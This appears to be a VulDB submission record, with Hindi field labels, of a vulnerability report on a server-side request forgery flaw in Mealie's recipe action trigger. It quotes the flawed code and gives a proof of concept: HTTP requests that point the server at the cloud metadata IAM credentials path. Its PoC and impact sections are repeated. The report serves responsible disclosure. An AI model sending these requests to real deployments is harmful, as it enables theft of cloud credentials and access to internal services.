| शीर्षक | mealie-recipes mealie commit 642c826 Server-Side Request Forgery |
|---|
| विवरण | SSRF via Recipe Action Trigger Bypasses Safe Transport Controls
### Summary
Any authenticated user can create a "recipe action" with an arbitrary HTTP URL
and then trigger it, causing the Mealie server to make a POST request to that
URL without the SSRF protections that apply everywhere else in the codebase.
This allows access to internal services, cloud metadata endpoints (e.g., AWS
IMDS at x.x.x.x), and private network hosts.
### Details
Mealie uses a custom `AsyncSafeTransport` class
(`mealie/pkgs/safehttp/transport.py`) that blocks requests to private and
reserved IP ranges. This protection is applied to recipe scraping and image
downloading. However, the recipe action trigger does not use this transport.
`mealie/routes/households/controller_group_recipe_actions.py` line 82--103:
```python
if recipe_action.action_type == GroupRecipeActionType.post.value:
task_action = requests.post
# ...
bg_tasks.add_task(
task_action,
url=recipe_action.url,
json=jsonable_encoder(payload.model_dump()),
timeout=15,
)
```
`requests.post` is called with `recipe_action.url` directly. There is no
IP-range check, no hostname allowlist, and no use of `AsyncSafeTransport`.
The only validation on the URL is in the schema
(`mealie/schema/household/group_recipe_action.py` line 25--31):
```python
@field_validator("url")
def validate_url_scheme(url: str) -> str:
url_lower = url.lower().strip()
if not (url_lower.startswith("http://") or url_lower.startswith("https://")):
raise ValueError("URL must use http or https scheme")
return url
```
This validator only ensures the scheme is `http` or `https`. It does not block
private addresses such as `http://127.0.0.1/`, `http://x.x.x.x/`, or
`http://192.168.0.1/`.
Affected versions: commit 642c826
### Steps to Reproduce
### PoC
1. Authenticate as any Mealie user (no admin required).
2. Create a recipe action targeting an internal endpoint:
```
POST /api/households/recipe-actions
Authorization: Bearer <token>
Content-Type: application/json
{
"action_type": "post",
"title": "ssrf",
"url": "http://x.x.x.x/latest/meta-data/iam/security-credentials/"
}
```
3. Note the `id` in the response. Find any recipe slug in the user's household.
4. Trigger the action:
```
POST /api/households/recipe-actions/<id>/trigger/<any-recipe-slug>
Authorization: Bearer <token>
Content-Type: application/json
1
```
5. The Mealie server makes a POST request to `http://x.x.x.x/...`. On
AWS, this returns the IAM role name; a follow-up request retrieves temporary
credentials. The response body is sent as the recipe's JSON payload and any
response is silently discarded (fire-and-forget background task), but the
network request does occur -- this can be confirmed via a controlled listener
such as Burp Collaborator or a self-hosted HTTP server.
### Impact
Any authenticated Mealie user can direct the server to make HTTP POST requests
to arbitrary internal or external hosts, including:
- Cloud metadata services (AWS IMDS, GCP metadata server, Azure IMDS) to
retrieve IAM credentials and instance identity.
- Internal administrative interfaces not exposed to the public internet.
- Other services reachable from the Mealie server's network that accept POST
requests.
The impact is especially severe in cloud deployments where metadata endpoints
return short-lived IAM credentials.
### Please provide relevant logs
-
### Mealie Version
_No response_
### Deployment
Docker (Linux)
### Additional Deployment Details
### PoC
1. Authenticate as any Mealie user (no admin required).
2. Create a recipe action targeting an internal endpoint:
```
POST /api/households/recipe-actions
Authorization: Bearer <token>
Content-Type: application/json
{
"action_type": "post",
"title": "ssrf",
"url": "http://x.x.x.x/latest/meta-data/iam/security-credentials/"
}
```
3. Note the `id` in the response. Find any recipe slug in the user's household.
4. Trigger the action:
```
POST /api/households/recipe-actions/<id>/trigger/<any-recipe-slug>
Authorization: Bearer <token>
Content-Type: application/json
1
```
5. The Mealie server makes a POST request to `http://x.x.x.x/...`. On
AWS, this returns the IAM role name; a follow-up request retrieves temporary
credentials. The response body is sent as the recipe's JSON payload and any
response is silently discarded (fire-and-forget background task), but the
network request does occur -- this can be confirmed via a controlled listener
such as Burp Collaborator or a self-hosted HTTP server.
### Impact
Any authenticated Mealie user can direct the server to make HTTP POST requests
to arbitrary internal or external hosts, including:
- Cloud metadata services (AWS IMDS, GCP metadata server, Azure IMDS) to
retrieve IAM credentials and instance identity.
- Internal administrative interfaces not exposed to the public internet.
- Other services reachable from the Mealie server's network that accept POST
requests.
The impact is especially severe in cloud deployments where metadata endpoints
return short-lived IAM credentials. |
|---|
| स्रोत | ⚠️ https://github.com/mealie-recipes/mealie/issues/7831 |
|---|
| उपयोगकर्ता | geochen (UID 78995) |
|---|
| सबमिशन | 24/08/2026 06:32 PM (27 दिन पहले) |
|---|
| संयम | 19/09/2026 07:08 PM (26 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 407957 [mealie-recipes Mealie तक 3.25.1 Recipe Action Trigger controller_group_recipe_actions.py payload.model_dump url अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|